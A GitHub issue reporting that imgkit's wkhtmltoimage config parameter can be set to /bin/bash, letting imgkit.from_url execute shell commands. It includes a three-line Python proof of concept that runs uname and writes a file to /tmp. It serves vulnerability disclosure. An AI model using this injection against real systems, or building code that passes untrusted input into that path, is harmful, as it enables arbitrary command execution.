Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

can execute bash command with imgkit.from_url and config #81

Open
0xdc9 opened this issue Jan 19, 2022 · 0 comments
Open

can execute bash command with imgkit.from_url and config #81

0xdc9 opened this issue Jan 19, 2022 · 0 comments
Assignees
Labels

Comments

@0xdc9
Copy link

0xdc9 commented Jan 19, 2022

The bug

wkhtmltoimage parameter can be used to spawn bash commands

Proof of Concept

import imgkit
config = imgkit.config(wkhtmltoimage="/bin/bash")
imgkit.from_url("-c", "'uname' && echo \'injected\' > /tmp/spawned.txt", config=config)

Screenshots

image

Environment

  • OS: macOS Mojave 10.14.6
  • IMGkit Version: imgkit-1.2.2
  • wkhtmltopdf version: wkhtmltopdf 0.12.6
  • wkhtmltoimage version: wkhtmltoimage 0.12.6
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants